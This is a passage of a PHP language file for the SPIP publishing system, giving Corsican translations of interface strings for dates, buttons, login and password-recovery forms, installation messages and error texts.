'bouton_radio_envoi_annonces' => 'Mandà l’annunci edituriali',
'bouton_radio_non_envoi_annonces' => 'Ùn mandà micca annunci',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ùn mandà micca a lista di a nuvità',
'bouton_recharger_page' => 'ricaricà sta pàgina',
'bouton_telecharger' => 'Scaricà',
'bouton_upload' => 'Scaricà', # MODIF
'bouton_valider' => 'Cunvalidà',
// C
'cal_apresmidi' => 'dopu meziornu',
'cal_jour_entier' => 'ghjornu sanu',
'cal_matin' => 'à mane',
'cal_par_jour' => 'almanaccu pè ghjornu',
'cal_par_mois' => 'almanaccu pè mese',
'cal_par_semaine' => 'almanaccu pè settimana',
'choix_couleur_interface' => 'culore ',
'choix_interface' => 'scelta di l’interfaccia',
'colonne' => 'Culonna',
'confirm_changer_statut' => 'Attenti, avete dumandate di scambià u statu di st’elementu. Vulete cuntinuà ?',
'correcte' => 'curretta', # chaine utilisée dans le debugueur : "validation .. impossible" ou "validation .. correcte"
// D
'date_aujourdhui' => 'oghje',
'date_avant_jc' => 'nanzu Ghj.C.',
'date_dans' => 'in @delai@',
'date_de_mois_1' => '@j@ di @nommois@',
'date_de_mois_10' => '@j@ d’@nommois@',
'date_de_mois_11' => '@j@ di @nommois@',
'date_de_mois_12' => '@j@ di @nommois@',
'date_de_mois_2' => '@j@ di @nommois@',
'date_de_mois_3' => '@j@ di @nommois@',
'date_de_mois_4' => '@j@ d’@nommois@',
'date_de_mois_5' => '@j@ di @nommois@',
'date_de_mois_6' => '@j@ di @nommois@',
'date_de_mois_7' => '@j@ di @nommois@',
'date_de_mois_8' => '@j@ d’@nommois@',
'date_de_mois_9' => '@j@ di @nommois@',
'date_demain' => 'dumane',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_heure_debut_fin' => 'u @jour@ da @heure_debut@ à @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'u @dtstart@@jour@ da @heure_debut@@dtabbr@ à @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ di u @annee@',
'date_fmt_mois_annee' => '@nommois@ di u @annee@',
'date_fmt_nomjour_date' => 'u @nomjour@ @date@',
'date_fmt_periode' => 'Da u @date_debut@ à u @date_fin@',
'date_fmt_periode_abbr' => 'Da u @dtart@@date_debut@@dtabbr@ à u @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Da u',
'date_fmt_periode_to' => 'à u',
'date_heures' => 'ore',
'date_hier' => 'eri',
'date_il_y_a' => '@delai@ fà',
'date_jnum1' => '1u',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dumènica',
'date_jour_1_abbr' => 'dum.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'luni',
'date_jour_2_abbr' => 'lun.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'marti',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'mèrcuri',
'date_jour_4_abbr' => 'mer.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'ghjovi',
'date_jour_5_abbr' => 'ghj.',
'date_jour_5_initiale' => 'j.',
'date_jour_6' => 'vènneri',
'date_jour_6_abbr' => 'ven.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'sàbatu',
'date_jour_7_abbr' => 'sab.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'ghjorni',
'date_minutes' => 'minuti',
'date_mois' => 'mese',
'date_mois_1' => 'ghjennaghju',
'date_mois_10' => 'ottobre',
'date_mois_10_abbr' => 'ott.',
'date_mois_11' => 'nuvembre',
'date_mois_11_abbr' => 'nuv.',
'date_mois_12' => 'dicembre',
'date_mois_12_abbr' => 'dic.',
'date_mois_1_abbr' => 'ghjen.',
'date_mois_2' => 'ferraghju',
'date_mois_2_abbr' => 'ferr.',
'date_mois_3' => 'marzu',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'aprile',
'date_mois_4_abbr' => 'apr.',
'date_mois_5' => 'maghju',
'date_mois_5_abbr' => 'mag.',
'date_mois_6' => 'ghjugnu',
'date_mois_6_abbr' => 'ghju.',
'date_mois_7' => 'lugliu',
'date_mois_7_abbr' => 'lug.',
'date_mois_8' => 'aostu',
'date_mois_8_abbr' => 'aos.',
'date_mois_9' => 'settembre',
'date_mois_9_abbr' => 'sett.',
'date_saison_1' => 'inguernu',
'date_saison_2' => 'veranu',
'date_saison_3' => 'estate',
'date_saison_4' => 'auturnu',
'date_secondes' => 'seconde',
'date_semaines' => 'settimane',
'date_un_mois' => 'mese',
'date_une_heure' => 'ora',
'date_une_minute' => 'minutu',
'date_une_seconde' => 'seconda',
'date_une_semaine' => 'settimana',
'dirs_commencer' => ' di modu à principià veramente a stallazione',
'dirs_preliminaire' => 'Prima di tuttu : <b>Scioglie i diritti d’accessu</b>',
'dirs_probleme_droits' => 'Problemu di diritti d’accessu',
'dirs_repertoires_absents' => '<p><b>I seguenti cartulari ùn sò micca stati trovi :</b></p><ul>@bad_dirs@</ul>
<p>Pò esse quessa cagiunata da un prublemu di gattiva messa in forma di lèttere maiùscule o minùscule.
Verificate puru chì e minùscule è maiùscule di sti cartulari s’accordanu cù ciò chì cumparisce quì sopra;
s’ella ùn hè cusì, rinumate i cartulari cù u vostru cliente FTP di modu à curregge u sbagliu.</p>
<p>Fatta quessa, puderete ',
'dirs_repertoires_suivants' => '<p><b>I seguenti cartulari ùn sò micca accessìbuli in scrittura :</b></p> <ul>@bad_dirs@</ul>
<p>Pè curregge la, dauprate puru u vostru cliente FTP pè scioglie i diritti d’accessu à ognunu di sti cartulari.
A prucedura hè spiegata in ditagliu in a guida di stallazione.</p>
<p>Fatta quessa, puderete ',
'double_occurrence' => 'In doppiu',
// E
'en_cours' => 'in corsu',
'envoi_via_le_site' => 'Invià à traversu u situ',
'erreur' => 'Errore',
'erreur_balise_non_fermee' => 'ùltima balisa micca chjosa :',
'erreur_technique_enregistrement_champs' => 'Per via d’un errore tècnicu, u campu @champs@ ùn hè micca statu arregistratu.',
'erreur_technique_enregistrement_impossible' => 'Per via d’un errore tècnicu, l’arregistramentu ùn hè micca statu fattu.',
'erreur_texte' => 'errore/i',
'etape' => 'Tappa',
// F
'fichier_introuvable' => 'Schedariu @fichier@ inesistente',
'form_auteur_confirmation' => 'Cunfirmate l’indirizzu mail',
'form_auteur_email_modifie' => 'Hè statu mudificatu u vostru indirizzu mail.',
'form_deja_inscrit' => 'Site digià iscrittu.',
'form_email_non_valide' => 'Ùn hè vàlidu u vostru indirizzu email.',
'form_forum_access_refuse' => 'Ùn avete più accessu à stu situ.',
'form_forum_bonjour' => 'Bonghjornu, o @nom@,',
'form_forum_email_deja_enregistre' => 'St’indirizzu email hè digià arregistratu, pudete puru usà u vostru password abbituale.',
'form_forum_identifiant_mail' => 'U vostru nuvellu còdice vi hè statu mandatu avà per email.',
'form_forum_identifiants' => 'Còdici persunali',
'form_forum_indiquer_nom_email' => 'Rinsignate quì u vostru nome è u vostru indirizzu email. Da quì à pocu vi ghjunghjerà u vostru còdice persunale, per email.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(què hè un messagiu autumàticu)',
'form_forum_pass' => 'password :',
'form_forum_probleme_mail' => 'Problemu di mail : Ùn pò micca esse mandatu u còdice.',
'form_forum_voici1' => 'Eccu i vostri còdici da pudè participà à a vita di u situ "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Eccu i vostri còdici da pudè prupone artìculi nant’à u situ "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Rinsignate puru u vostru indirizzu email.',
'form_indiquer_nom' => 'Rinsignate puru u vostru nome.',
'form_indiquer_nom_site' => 'Rinsignate puru u nome di u vostru situ.',
'form_pet_deja_enregistre' => 'Hè digià arregistratu stu situ',
'form_pet_signature_pasprise' => 'Ùn hè stata pigliata in contu a vostra zifra.',
'form_prop_confirmer_envoi' => 'Cunfirmate l’inviu',
'form_prop_description' => 'Discrizzione/Cummentu',
'form_prop_enregistre' => 'Hè stata arregistrata a vostra pruposta. Cumpariscerà in ligna dopu cunvalidazione da i respunsèvuli di stu situ.',
'form_prop_envoyer' => 'Mandà un messagiu',
'form_prop_indiquer_email' => 'Rinsignate puru un indirizzu email vàlidu',
'form_prop_indiquer_nom_site' => 'Date u nome di u situ.',
'form_prop_indiquer_sujet' => 'Date puru un sugettu',
'form_prop_message_envoye' => 'Messagiu mandatu',
'form_prop_non_enregistre' => 'Ùn hè micca stata arregistrata a vostra pruposta.',
'form_prop_sujet' => 'Sugettu',
'form_prop_url_site' => 'Indirizzu (URL) di u situ', # MODIF
'forum_non_inscrit' => 'Ùn site micca iscrittu, o l’indirizzu o u password sò sbagliati.',
'forum_par_auteur' => 'da @auteur@',
'forum_titre_erreur' => 'Errore ...',
// I
'ical_texte_rss_articles' => 'U schedariu «backend» di l’artìculi di stu situ si trova à l’indirizzu :',
'ical_texte_rss_articles2' => 'Pudete dinò ottene schedari «backend» pè l’artìculi d’ogni rùbbrica di u situ :',
'ical_texte_rss_breves' => 'Esiste dinò un schedariu chì cuntene i dispacci di u situ. Indettendu un nùmeru di rùbbrica, ottenerete solu i dispacci
di sta rùbbrica.',
'icone_a_suivre' => 'Cuntrollu',
'icone_admin_site' => 'Amministrazione di u situ',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Aiutu',
'icone_articles' => 'Artìculi',
'icone_auteurs' => 'Autori',
'icone_brouteur' => 'Navigazione veloce',
'icone_configuration_site' => 'Paràmetri',
'icone_configurer_site' => 'Cunfigurà u vostru situ',
'icone_creer_nouvel_auteur' => 'Creà un nuvellu autore',
'icone_creer_rubrique' => 'Creà una rùbbrica',
'icone_creer_sous_rubrique' => 'Creà una sotturùbbrica',
'icone_deconnecter' => 'Scunnette si',
'icone_discussions' => 'Ragiunate',
'icone_doc_rubrique' => 'Ducumenti di e rùbbriche',
'icone_ecrire_article' => 'Scrive un nuvellu artìculu',
'icone_edition_site' => 'Scrittura',
'icone_gestion_langues' => 'Gestione di e lingue',
'icone_informations_personnelles' => 'Infurmazioni persunale',
'icone_interface_complet' => 'interfaccia sana',
'icone_interface_simple' => 'Interfaccia simplificata',
'icone_maintenance_site' => 'Mantenimentu di u situ',
'icone_messagerie_personnelle' => 'Messageria persunale',
'icone_repartition_debut' => 'Vede u spartimentu da u principiu',
'icone_rubriques' => 'Rùbbriche',
'icone_sauver_site' => 'Fà un salvamentu di u situ',
'icone_site_entier' => 'U situ sanu',
'icone_sites_references' => 'Siti riferiti',
'icone_statistiques' => 'Statìstiche di u situ',
'icone_suivi_activite' => 'Seguità a vita di u situ',
'icone_suivi_actualite' => 'Evuluzione di u situ',
'icone_suivi_pettions' => 'Seguità/gestisce e petizioni',
'icone_suivi_revisions' => 'Mudìfiche di l’artìculi',
'icone_supprimer_document' => 'Sguassà stu ducumentu',
'icone_supprimer_image' => 'Sguassà st’imàgine',
'icone_tous_articles' => 'Tutti i vostri artìculi',
'icone_tous_auteur' => 'Tutti l’autori',
'icone_tous_visiteur' => 'Tutti i visitori',
'icone_visiter_site' => 'Situ pùbblicu', # MODIF
'icone_voir_en_ligne' => 'Vede in ligna',
'img_indisponible' => 'imàgine micca dispunìbule',
'impossible' => 'impussìbule',
'info_a_suivre' => 'À SUIVRE »',
'info_acces_interdit' => 'Accessu interdettu',
'info_acces_refuse' => 'Accessu rifiutatu',
'info_action' => 'Azzione : @action@',
'info_administrer_rubriques' => 'Pudete puru amministrà sta rùbbrica cù e so sotturùbbriche',
'info_adresse_non_indiquee' => 'ùn avete rinsignatu nisun indirizzu da pruvà !',
'info_aide' => 'AIUTU :',
'info_ajouter_mot' => 'Aghjunghje sta parulla',
'info_annonce' => 'ANNUNCIU',
'info_annonces_generales' => 'Annunci generali :',
'info_article_propose' => 'Artìculu prupostu',
'info_article_publie' => 'Artìculu pubblicatu',
'info_article_redaction' => 'Artìculu in corsu di scrittura',
'info_article_refuse' => 'Artìculu rifiutatu',
'info_article_supprime' => 'Artìculu sguassatu',
'info_articles' => 'Artìculi',
'info_articles_a_valider' => 'L’artìculi da cunvalidà',
'info_articles_nb' => '@nb@ artìculi',
'info_articles_proposes' => 'Artìculi pruposti',
'info_articles_un' => '1 artìculu',
'info_auteurs_nombre' => 'autore/i :',
'info_authentification_ftp' => 'Autentificazione (cù FTP).',
'info_breves_2' => 'dispacci',
'info_connexion_refusee' => 'Cunnessione rifiutata',
'info_contact_developpeur' => 'Cuntattate puru un sviluppore.',
'info_contenance' => 'Stu situ cuntene :',
'info_contribution' => 'contributi di foru', # MODIF
'info_copyright' => '@spip@ hè un prugrammu lìberu distribuitu @lien_gpl@.',
'info_copyright_doc' => 'Per sapè ne di più, visitate puru u situ <a href=\'http://www.spip.net/fr\'>http://www.spip.net/fr</a>.', # MODIF
'info_copyright_gpl' => 'sottu licenza GPL',
'info_cours_edition' => 'I vostri artìculi in corsu di scrittura',
'info_creer_repertoire' => 'Create puru un schedariu o un cartulare chjamatu :',
'info_creer_repertoire_2' => 'à l’internu di u sottucartulare <b>@repertoire@</b>, poi :',
'info_creer_vignette' => 'creazione autumàtica di a figuretta',
'info_deplier' => 'Spalancà',
'info_descriptif_nombre' => 'descrittivu/i :',
'info_description' => 'Discrizzione :',
'info_description_2' => 'Discrizzione :',
'info_dimension' => 'Taglia :',
'info_ecire_message_prive' => 'Scrive un messagiu privatu',
'info_email_invalide' => 'Indirizzu email invàlida.',
'info_en_cours_validation' => 'I vostri artìculi in corsu di scrittura',
'info_en_ligne' => 'Attualmente in ligna :',
'info_envoyer_message_prive' => 'Mandà un messagiu privatu à st’autore',
'info_erreur_requete' => 'Errore in a richiesta :',
'info_erreur_squelette2' => 'ùn hè dispunìbule nisun mudellu <b>@fichier@</b> ...',
'info_erreur_systeme' => 'Errore sistema (errno @errsys@)',
'info_erreur_systeme2' => 'Forse hè colmu u discu duru, o puru hè scundisata a basa di dati.<br />
<span style="color:red;">Pruvate puru di <a href=\'@script@\'>riparà a basa</a>, o cuntattate u vostru òspite.</span>',
'info_fini' => 'Hè fatta !',
'info_format_image' => 'Forme d’imàgini chì ponu esse usate da creà figurette : @gd_formats@.',
'info_format_non_defini' => 'forma indefinita',
'info_grand_ecran' => 'Screnu maiò',
'info_image_aide' => 'AIUTU',
'info_image_process_titre' => 'Mètudu di fàbbrica di e figurette',
'info_impossible_lire_page' => '<b>Errore !</b> Impussìbule di leghje a pàgina <tt><html>@test_proxy@</html></tt> à traversu u proxy ',
'info_installation_systeme_publication' => 'Stallazione di u sistema di pubblicazione ...',
'info_installer_documents' => 'Pudete puru stallà in autumàticu tutti i ducumenti cuntenuti in u cartulare @upload@.',
'info_installer_ftp' => 'Da amministratore, pudete stallà schedari (cù FTP) in u cartulare @upload@, da pudè li sceglie dopu direttamente da quì.',
'info_installer_images' => 'Pudete puru stallà imàgini in furmatu JPEG, GIF è PNG.',
'info_installer_images_dossier' => 'Stallà imàgini in u cartulare @upload@ da pudè li sceglie da quì.',
'info_interface_complete' => 'interfaccia sana',
'info_interface_simple' => 'Interfaccia simplificata',
'info_joindre_document_article' => 'Pudete puru alleà à st’artìculu ducumenti di tippu',
'info_joindre_document_rubrique' => 'Pudete puru aghjunghje in sta rùbbrica ducumenti di tippu',
'info_joindre_documents_article' => 'Pudete puru alleà à u vostru artìculu ducumenti di tippu :',
'info_l_article' => 'l’artìculu',
'info_la_breve' => 'u dispacciu',
'info_la_rubrique' => 'a rùbbrica',
'info_langue_principale' => 'Lingua principale di u situ',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'da @les_auteurs@',
'info_logo_format_interdit' => 'Sò auturizati solu i logos in furmatu @formats@.',
'info_logo_max_poids' => 'I logos devenu per forza pisà di menu di @maxi@ (stu schedariu pesa @actuel@).',
'info_mail_fournisseur' => 'voi@furnitore.com',
'info_message_2' => 'MESSAGIU',
'info_message_supprime' => 'MESSAGIU SGUASSATU',
'info_messages_nb' => '@nb@ messagi',
'info_messages_un' => '1 messagiu',
'info_mise_en_ligne' => 'Data di messa in ligna :',
'info_modification_parametres_securite' => 'mudificazione di i paràmetri di sicurezza',
'info_mois_courant' => 'In stu mese :',
'info_mot_cle_ajoute' => 'U segnu hè statu aghjuntu à',
'info_multi_herit' => 'Lingua predefinita',
'info_multi_langues_soulignees' => 'E <u>lingue sottufrisgiate</u> godenu d’una traduzzione di tutti i testi di l’interfaccia.
Sè vo sceglite ste lingue, seranu tradutti in autumàticu assai elementi di u situ pùbblicu (date, furmulari, ...).
Per e lingue micca sottufrisgiate, st’elementi cumparisceranu in a lingua principale di u situ.', # MODIF
'info_multilinguisme' => 'Multilinguìsimu',
'info_nom_non_utilisateurs_connectes' => 'U vostru nome ùn cumparisce micca in a lista di l’utilizatori cunnessi.',
'info_nom_utilisateurs_connectes' => 'U vostru nome cumparisce in a lista di l’utilizatori cunnessi.',
'info_nombre_en_ligne' => 'Attualmente in ligna :',
'info_non_resultat' => 'Nisunu risultatu per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'ùn usate micca a messageria interna di stu situ.',
'info_nouveau_message' => 'AVETE UN NUVELLU MESSAGIU',
'info_nouveaux_messages' => 'AVETE @total_messages@ NUVELLI MESSAGI',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Hè ubbligatoria st’infurmazione',
'info_pense_bete' => 'MEMENTU',
'info_petit_ecran' => 'Pìcculu screnu',
'info_petition_close' => 'Petizione chjosa',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Parechji segni trovi per "@cherche_mot@":',
'info_portfolio_automatique' => 'Purtafogliu autumàticu :',
'info_premier_resultat' => '[@debut_limit@ primi risultati nant’à @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primi risultati nant’à @total@]',
'info_propose_1' => '[@nom_site_spip@] Prupone : @titre@',
'info_propose_2' => 'Artìculu prupostu
---------------',
'info_propose_3' => 'L’artìculu "@titre@" hè prupostu à a pubblicazione.',
'info_propose_4' => 'Site puru invitatu à vene è cunsultà lu per dà u vostru parè',
'info_propose_5' => 'in u foru à ellu assuciatu. Hè dispunìbule à l’indirizzu :',
'info_publie_01' => 'L’article "@titre@" hè statu cunvalidatu da @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBBLICATU : @titre@',
'info_publie_2' => 'Artìculu pubblicatu
--------------',
'info_rechercher' => 'Ricircà',
'info_rechercher_02' => 'Ricircà :',
'info_remplacer_vignette' => 'Rimpiazzà a figuretta predefinita cù un logo persunalizatu :',
'info_rubriques_nb' => '@nb@ rùbriche',
'info_rubriques_un' => '1 rùbrica',
'info_sans_titre_2' => 'senza tìtulu',
'info_selectionner_fichier' => 'Pudete sceglie un scedariu da u cartulare @upload@',
'info_selectionner_fichier_2' => 'Sceglie un schedariu :',
'info_sites_nb' => '@nb@ siti',
'info_sites_un' => '1 situ',
'info_supprimer_vignette' => 'sguassà a figuretta',
'info_symbole_bleu' => 'U sìmbulu <b>turchinu</b> indetta un <b>mementu</b>: vale à dì un messagiu à usu persunale vostru.',
'info_symbole_jaune' => 'U sìmbulu <b>giallu</b> indetta un <b>annunciu à tuttu i scrittori</b> : mudifichèvule da tutti l’amministratori, è visìbule da tutti i scrittori.',
'info_symbole_vert' => 'U sìmbulu <b>verde</b> indetta <b>messagi scambiati cù altri utilizatori</b> di u situ.',
'info_telecharger_nouveau_logo' => 'Scaricà un nuvellu logo :',
'info_telecharger_ordinateur' => 'Scaricà da u vostru urdinatore :',
'info_tous_resultats_enregistres' => '[sò arregistrati tutti i risultati]',
'info_tout_afficher' => 'Fà cumparisce tuttu',
'info_travaux_texte' => 'Stu situ ùn hè ancu à cunfigurà. Ripassate più tardi ...',
'info_travaux_titre' => 'Situ in travagliu',
'info_trop_resultat' => 'Troppu risultati per "@cherche_mot@" ; Precisate puru a ricerca.',
'info_utilisation_messagerie_interne' => 'Usate a messageria interna di u situ.',
'info_valider_lien' => 'cunvalidà sta lea',
'info_verifier_image' => ', verificate puru ch’elle sò state trasferite cum’ellu ci vole e vostre imàgini.',
'info_vignette_defaut' => 'Figuretta predefinita',
'info_vignette_personnalisee' => 'Figuretta persunalizata',
'info_visite' => 'vìsita :',
'info_vos_rendez_vous' => 'I vostri appuntamenti in futuru',
'infos_vos_pense_bete' => 'I vostri mementi', # MODIF
// L
'label_poids_fichier' => 'Taglia',
'lien_afficher_icones_seuls' => 'Fà cumparisce solu l’icone',
'lien_afficher_texte_icones' => 'Fà cumparisce l’icone cù u testu',
'lien_afficher_texte_seul' => 'Fà cumparisce solu u testu',
'lien_liberer' => 'liberà',
'lien_liberer_tous' => 'liberà st’artìculi', # MODIF
'lien_nouvea_pense_bete' => 'NUVELLU MEMENTU',
'lien_nouveau_message' => 'NUVELLU MESSAGIU',
'lien_nouvelle_annonce' => 'NUVELLU ANNUNCIU',
'lien_petitions' => 'PETIZIONE',
'lien_popularite' => 'pupularità : @popularite@%',
'lien_racine_site' => 'RÀDICA DI U SITU',
'lien_reessayer' => 'pruvà torna',
'lien_repondre_message' => 'Risponde à stu messagiu',
'lien_supprimer' => 'sguassà',
'lien_tout_afficher' => 'Fà cumparisce tuttu',
'lien_visite_site' => 'visità stu situ',
'lien_visites' => '@visites@ vìsite',
'lien_voir_auteur' => 'Vede st’autore',
'ligne' => 'Ligna',
'login' => 'Cunnessione',
'login_acces_prive' => 'accessu à u spaziu privatu',
'login_autre_identifiant' => 'cunnette si cù un altru còdice',
'login_cookie_accepte' => 'Parametrate puru u vostru navigatore di manera ch’ellu l’accetti (omancu per u situ).',
'login_cookie_oblige' => 'Duvite accettà i cookies da pudè identificà vi di modu sicuru nant’à stu situ.',
'login_deconnexion_ok' => 'Scunnessione compia.',
'login_erreur_pass' => 'Errore di password.',
'login_espace_prive' => 'spaziu privatu',
'login_identifiant_inconnu' => 'Hè scunnisciutu u còdice « @login@ ».',
'login_login' => 'Login :',
'login_login2' => 'Login (còdice di cunnessione à u situ) :', # MODIF
'login_login_pass_incorrect' => '(Login o password sbagliatu.)',
'login_motpasseoublie' => 'password dimenticatu ?',
'login_non_securise' => 'Attenti, stu furmulariu ùn hè micca sicurizatu.
Sè vo ùn vulete chì u vostru password possi esse chjappu nant’à a rete, attivate puru Javascript
in u vostru navigatore è',
'login_nouvelle_tentative' => 'Nuvella Prova',
'login_par_ici' => 'Site arregistratu ... per quindi ...',
'login_pass2' => 'Password :',
'login_preferez_refuser' => '<b>Sè vo preferite rifiutà i cookies</b>, v’hè dispostu un altru mètudu di cunnessione (sicurizata di menu) :',
'login_recharger' => 'ricaricà sta pàgina',
'login_rester_identifie' => 'Firmà cunnessi qualchì ghjornu',
'login_retour_public' => 'Ritornu à u situ pùbblicu',
'login_retour_site' => 'Ritornu à u situ pùbblicu',
'login_retoursitepublic' => 'ritornu à u situ pùbblicu',
'login_sans_cookiie' => 'Identificazione senza cookie',
'login_sinscrire' => 'iscrive si',
'login_test_navigateur' => 'prova navigatore/ricunnessione',
'login_verifiez_navigateur' => '(Verificate quantunque chì u vostru navigatore ùn abbia memurizatu u vostru password...)',
// M
'masquer_colonne' => 'Piattà sta culonna',
'masquer_trad' => 'piattà e traduzzioni',
'module_fichiers_langues' => 'Schedari di lingua',
// N
'navigateur_pas_redirige' => 'S’ellu ùn hè rindirizzatu u vostru navigatore, cliccate puru quì per cuntinuà.',
'numero' => 'Nùmeru',
// O
'occurence' => 'Occurenza',
'onglet_affacer_base' => 'Sguassà a basa',
'onglet_auteur' => 'L’autore',
'onglet_contenu_site' => 'Cuntenutu di u situ',
'onglet_evolution_visite_mod' => 'Evuluzione',
'onglet_fonctions_avances' => 'Funzioni avanzate',
'onglet_informations_personnelles' => 'Infurmazioni persunali',
'onglet_interactivite' => 'Interattività',
'onglet_messagerie' => 'Messageria',
'onglet_repartition_rubrique' => 'Scumpartimentu per rùbbriche',
'onglet_save_restaur_base' => 'Salvà/risturà a basa',
'onglet_vider_cache' => 'Sviutà u cache',
// P
'pass_choix_pass' => 'Sceglite puru u vostru password :',
'pass_erreur' => 'Errore',
'pass_erreur_acces_refuse' => '<b>Errore :</b> ùn avete più accessu à stu situ.',
'pass_erreur_code_inconnu' => '<b>Errore :</b> stu còdice ùn currisponde à nisun utilizatore chì abbia acessu à stu situ.',
'pass_erreur_non_enregistre' => '<b>Errore :</b> l’indirizzu <tt>@email_oubli@</tt> ùn hè micca arregistrata in stu situ.',
'pass_erreur_non_valide' => '<b>Errore :</b> st’email <tt>@email_oubli@</tt> ùn hè micca vàlidu !',
'pass_erreur_probleme_technique' => '<b>Errore :</b> per via d’un prublemu tècnicu, ùn pò micca esse mandatu l’email.',
'pass_espace_prive_bla' => 'U spaziu privatu di stu situ hè apertu à i visitori, dopu iscritti. Arregistratu chè vo serete,
puderete puru cunsultà l’artìculi in corsu di scrittura, prupone artìculi è participà à tutti i fori.',
'pass_forum_bla' => 'Avete dumandatu à intervene nant’à un foru riservatu à i visitori arregistrati.',
'pass_indiquez_cidessous' => 'Rinsignate puru quì sottu l’indirizzu email cun chì erate digià arregistratu. Riceverete un email
spieghendu vi cumu fà pè ricuarà u vostru accessu.',
'pass_mail_passcookie' => '(què hè un messagiu autumàticu)
Pè ricuarà u vostru accessu à u situ
@nom_site_spip@ (@adresse_site@)
Andate puru à l’indirizzu :
@sendcookie@
Puderete tandu inserisce un nuvellu password
è cusì cunnette vi torna à u situ.
',
'pass_mot_oublie' => 'Password dimenticatu',
'pass_nouveau_enregistre' => 'Hè statu arregistratu u vostru password.',
'pass_nouveau_pass' => 'Nuvellu password',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Password dimenticatu',
'pass_quitter_fenetre' => 'Esce da sta finestra',
'pass_rappel_login' => 'Attenti : u vostru còdice (login) hè « @login@ ».',
'pass_recevoir_mail' => 'Avete da riceve un email spieghendu vi cumu ricuarà u vostru accessu à u situ.',
'pass_retour_public' => 'Ritornu à u situ pùbblicu',
'pass_rien_a_faire_ici' => 'Nunda à fà quì.',
'pass_vousinscrire' => 'Iscrive vi nant’à u situ',
'precedent' => 'precedente',
'previsualisation' => 'Vista in antìcipu',
'previsualiser' => 'Vede in antìcipu',
// R
'retour' => 'Ritornu',
// S
'spip_conforme_dtd' => 'SPIP ghjudicheghja stu ducumentu cunforme à u so DOCTYPE :',
'squelette' => 'Mudellu',
'squelette_inclus_ligne' => 'mudellu inclusu, ligna',
'squelette_ligne' => 'mudelle, ligna',
'stats_visites_et_popularite' => '@visites@ vìsite ; pupularità : @popularite@',
'suivant' => 'In davanti',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ oct',
'texte_actualite_site_1' => 'Quand’è vo serete pù pràticu cù l’interfaccia, puderete cliccà nant’à «',
'texte_actualite_site_2' => 'interfaccia sana',
'texte_actualite_site_3' => '» pè pudè apre di più pussibulità.',
'texte_creation_automatique_vignette' => 'Hè attivata nant’à u situ a creazione di figurette pè a vista in antìcipu.
Sè vo stallate imàgini di furmatu/i @gd_formats@ usendu stu furmulariu,
seranu accumpagnate da una figuretta d’una taglia màsima di @taille_preview@ pixels.',
'texte_documents_associes' => 'I seguenti ducumenti sò assuciati à l’artìculu,
ma ùn sò micca stati direttamente inseriti.
Secondu cum’ella hè definita a paginatura di u situ pùbblicu,
puderanu cumparisce cum’è ducumenti alleati.',
'texte_erreur_mise_niveau_base' => 'Errore di basa di dati durante a messa à livellu.
L’imàgine <b>@fichier@</b> ùn hè passata (artìculu @id_article@).
Tenite bè à mente sta riferenza, pruvate torna a messa à livellu, è infine verificate chì l’imàgini
cumpariscanu sempre in l’artìculi.',
'texte_erreur_visiteur' => 'Avete pruvatu d’accede à u spaziu privatu cù un login chì ùn a permette micca.',
'texte_inc_auth_1' => 'Site identificatu cù u login <b>@auth_login@</b>, ma questu ùn esiste micca/più in a basa.
Pruvate à',
'texte_inc_auth_2' => 'cunnette vi torna',
'texte_inc_auth_3' => ', dopu esse esciutu; poi aprite torna u navigatore.',
'texte_inc_config' => 'E mudìfiche fatte in ste pàgine pesanu assai nant’à u funziunamentu di u vostru situ.
Vi cunsigliemu d’ùn fà ci interventi fintantu chì ùn serete abbastanza pràticu cù u funziunamentu di u sistema SPIP. <br /><br />
<b>sia cum’ella sia, hè arricumandatu assai di lascià a gestione di ste pàgine à u webmaestru di u vostru situ.</b>',
'texte_inc_meta_1' => 'U sistema hà scontru un errore mentre a scrittura di u schedariu <code>@fichier@</code>.
Intantu chè amministratore di u situ,',
'texte_inc_meta_2' => 'verificate puru i diritti di scrittura',
'texte_inc_meta_3' => 'nant’à u cartulare <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'in corsu di scrittura',
'texte_statut_poubelle' => 'à a rumènzula',
'texte_statut_propose_evaluation' => 'prupostu à a valutazione',
